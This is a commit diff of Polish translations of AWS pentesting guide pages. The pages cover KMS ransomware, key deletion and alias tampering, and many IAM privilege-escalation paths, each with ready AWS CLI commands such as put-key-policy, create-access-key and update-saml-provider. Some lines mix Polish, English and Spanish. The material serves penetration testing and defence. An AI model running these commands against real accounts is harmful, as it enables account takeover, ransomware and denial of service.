Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-14 14:58:37 +00:00
parent cb9f98430e
commit f804dfc6cb
2 changed files with 88 additions and 68 deletions
@@ -10,17 +10,17 @@ Więcej informacji:
../../aws-services/aws-kms-enum.md
{{#endref}}
### Szyfrowanie/Deszyfrowanie informacji
### Encrypt/Decrypt information
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
`fileb://` and `file://` są schematami URI używanymi w poleceniach AWS CLI do wskazania ścieżki do lokalnych plików:
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używany dla plików niebędących tekstowymi.
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymogów kodowania.
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych.
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używane dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.
> [!TIP]
> Zwróć uwa, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)
> Zauważ, że jeśli chcesz decrypt danych wewnątrz pliku, plik musi zawierać surowe dane binarne, a nie dane zakodowane base64. (fileb://)
- Użycie **klucza symetrycznego**
- Using a **symmetric** key
```bash
# Encrypt data
aws kms encrypt \
@@ -62,12 +62,12 @@ aws kms decrypt \
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany prawowitemu kontu.
Wtedy użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, ale skuteczne ransomware na konto.
W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, lecz skuteczne ransomware wymierzone w konto.
> [!WARNING]
> Zauważ, że **AWS managed keys aren't affected** przez ten atak, tylko **Customer managed keys**.
> Zwróć uwa, że **AWS managed keys aren't affected** przez ten atak; dotyczy to tylko **Customer managed keys**.
> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w web console sprawia, że atak jest możliwy jedynie z CLI).
> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli webowej powoduje, że ten atak jest możliwy tylko z poziomu CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,18 +92,18 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z konta zewnętrznego**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Generic KMS Ransomware
### Ogólny KMS Ransomware
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy **key with a key material** zaimportowany przez atakującego
- **Re-encrypt older data** ofiary zaszyfrowanych poprzednią wersją, używając nowej
- **Delete the KMS key**
- W tej sytuacji tylko atakujący, który posiada oryginalny key material, będzie w stanie odszyfrować zaszyfrowane dane
- Utwórz nowy **klucz z materiałem klucza** zaimportowanym przez atakującego
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowego klucza
- **Usuń klucz KMS**
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
### Delete Keys via kms:DeleteImportedKeyMaterial
@@ -111,9 +111,9 @@ With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imp
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Niszczenie keys
### Niszczenie kluczy
Niszczenie keys umożliwia przeprowadzenie DoS.
Niszczenie kluczy może spowodować DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Zwróć uwagę, że AWS obecnie **uniemożliwia wykonywanie powyższych działań z poziomu cross account:**
> Zwróć uwagę, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z innego konta:**
### Zmi lub usuń Alias
Ten atak usuwa lub przekierowuje AWS KMS aliases, zaburzając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach polegających na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie ponownie zmapowany.
### Zmiana lub usunięcie aliasu
Ten atak usuwa lub przekierowuje aliasy AWS KMS, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, co skutkuje denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub ponownie wskazać aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast ID klucza, może nie działać do czasu przywrócenia aliasu lub jego prawidłowego odwzorowania.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
@@ -135,7 +135,7 @@ aws kms update-alias \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Z uprawnieniami takimi jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. W ten sposób odzyskuje się klucz (początkowo w stanie Disabled) i przywraca jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając eksfiltrację.
Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. W ten sposób klucz zostaje odzyskany (początkowo w stanie Disabled) i przywraca się jego zdolność do odszyfrowania wcześniej chronionych danych, umożliwiając exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -145,22 +145,23 @@ aws kms cancel-key-deletion \
aws kms enable-key \
--key-id <Key_ID>
```
### Disable Key
Dzięki uprawnieniu `kms:DisableKey` atakujący może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do encryption lub decryption. To przerywa dostęp dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
### Wyłączenie klucza
Z uprawnieniem `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key (CMK), uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Wyprowadzenie współdzielonego sekretu
Z uprawnieniem `kms:DeriveSharedSecret`, podmiot może użyć KMS-held private key oraz user-supplied public key, aby obliczyć ECDH shared secret.
### Wyprowadzenie wspólnego sekretu
Dzięki uprawnieniu `kms:DeriveSharedSecret` podmiot może użyć klucza prywatnego przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć wspólny sekret ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Podszywanie się przez kms:Sign
Z uprawnieniem `kms:Sign` aktor może użyć KMS-stored CMK do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, tworząc ważne podpisy, które mogą umożliwić podszywanie się lub autoryzować złośliwe działania.
### Impersonation via kms:Sign
Z uprawnieniem `kms:Sign` podmiot może użyć CMK przechowywanej w KMS, aby cryptographically sign danych bez ujawniania private key, tworząc prawidłowe signatures, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
```bash
aws kms sign \
--key-id <key-id> \
@@ -168,8 +169,8 @@ aws kms sign \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` czy `kms:UpdateCustomKeyStore`, actor może zmodyfikować, odłączyć lub usuć AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne stają się nieużywalne. To przerywa operacje szyfrowania, deszyfrowania i podpisywania dla usług korzystających z tych kluczy i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
### DoS z Custom Key Stores
Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może modyfikować, odłączać lub usuwać AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne przestają działać. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
@@ -4,7 +4,7 @@
## IAM
Aby uzyskać więcej informacji o IAM, zobacz:
Aby uzyskać więcej informacji o IAM zobacz:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,45 +12,64 @@ Aby uzyskać więcej informacji o IAM, zobacz:
### **`iam:CreatePolicyVersion`**
Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie własnych uprawnień.
Umożliwia utworzenie nowej wersji polityki IAM, omijając konieczność posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Pozwala to na zdefiniowanie niestandardowych uprawnień.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
**Wpływ:** Bezpośrednio eskaluje uprawnienia, pozwalając na wykonanie dowolnej akcji na dowolnym zasobie.
### **`iam:SetDefaultPolicyVersion`**
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może potencjalnie doprowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
**Polecenie Bash:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Wpływ:** Pośrednie privilege escalation poprzez umożliwienie dodatkowych uprawnień.
**Wpływ:** Pośrednie privilege escalation poprzez przyznanie dodatkowych uprawnień.
### **`iam:CreateAccessKey`**
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation.
Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do potencjalnego privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.
Zwróć uwagę, że użytkownik może mieć utworzone maksymalnie 2 klucze dostępu, więc jeśli użytkownik ma już 2 klucze dostępu, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń.
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przejęcie rejestracji MFA użytkownika (a następnie użycie ich uprawnień).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Pozwala na tworzenie lub aktualizację profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit dla aktualizacji:**
**Exploit do aktualizacji:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
@@ -59,19 +78,19 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require
### **`iam:UpdateAccessKey`**
Pozwala na włączenie wyłączonego access key, co może doprowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key.
Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień przez reaktywację access keys.
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Pozwala na generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.
Pozwala na wygenerowanie lub zresetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), które dziedziczą uprawnienia powiązanego użytkownika.
**Eksploit do tworzenia:**
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
@@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name <username> --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Wpływ:** Bezpośrednia eskalacja uprawnień w obrębie uprawnień usług przypisanych użytkownikowi.
**Impact:** Bezpośrednia eskalacja uprawnień w ramach uprawnień do usług przypisanych użytkownikowi.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Pozwala na dołączanie polityk do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez odziedziczenie uprawnień z dołączonej polityki.
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
**Eksploatacja dla użytkownika:**
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
@@ -93,17 +112,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, do czego uprawnia dana polityka.
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Umożliwia dołączanie lub przypisywanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.
Pozwala na dołączanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez nadanie dodatkowych uprawnień.
**Exploit for Role:**
**Eksploit dla roli:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit dla Inline Policies:**
**Eksploit dla Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -127,11 +146,11 @@ Możesz użyć polityki takiej jak:
]
}
```
**Wpływ:** Bezpośrednie privilege escalation poprzez nadawanie uprawnień za pomocą policies.
**Impact:** Bezpośrednia eskalacja uprawnień przez dodanie permissions za pomocą policies.
### **`iam:AddUserToGroup`**
Umożliwia dodanie siebie do grupy IAM, prowadząc do escalating privileges poprzez dziedziczenie uprawnień grupy.
Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez odziedziczenie permissions przypisanych tej grupie.
**Exploit:**
```bash
@@ -141,14 +160,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
### **`iam:UpdateAssumeRolePolicy`**
Pozwala zmienić dokument polityki assume role dla roli, co umożliwia przyjęcie tej roli i uzyskanie związanych z nią uprawnień.
Pozwala na zmianę dokumentu assume role policy roli, co umożliwia przejęcie tej roli i zdobycie jej powiązanych uprawnień.
**Wykorzystanie:**
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia tej roli:
Gdy polityka wygląda następująco, daje ona użytkownikowi uprawnienie do przyjęcia roli:
```json
{
"Version": "2012-10-17",
@@ -163,38 +182,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
]
}
```
**Wpływ:** Direct privilege escalation by assuming any role's permissions.
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do potencjalnego indirect privilege escalation.
Pozwala na przesłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit dla dezaktywacji MFA:**
**Exploit do dezaktywacji MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Wpływ:** Pośrednie eskalowanie uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
**Wpływ:** Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
### **`iam:ResyncMFADevice`**
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulowanie ochroną MFA.
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
**Polecenie Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Wpływ:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA.
**Wpływ:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby **zalogować się** przy użyciu dowolnej **roli, która jej ufa**.
Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** jako dowolna **rola, która jej ufa**.
Zauważ, że wykonanie tego spowoduje, że **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację.
Należy pamiętać, że przy wykonaniu tego **prawdziwi użytkownicy nie będą mogli login**. Możesz jednak pobrać XML, wstawić swój, login i przywrócić poprzednią konfigurację.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się z określoną rolą
> TODO: Narzędzie zdolne do wygenerowania metadanych SAML i zalogowania się przy użyciu określonej roli
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, co pozwoli mu zalogować się do wszystkich ról ufających dostawcy.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego privileges i umożliwiając wykonywanie akcji, które normalnie są ograniczone przez jego obecne uprawnienia.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub, jeśli przypisze przyzwalającą boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
Podmiot posiadający iam:PutRolePermissionsBoundary może ustawić permissions boundary dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia permissions boundary roli: może nieprawidłowo ograniczyć operacje (powodując zakłócenia usług) lub, jeśli dołączy permissive boundary, skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \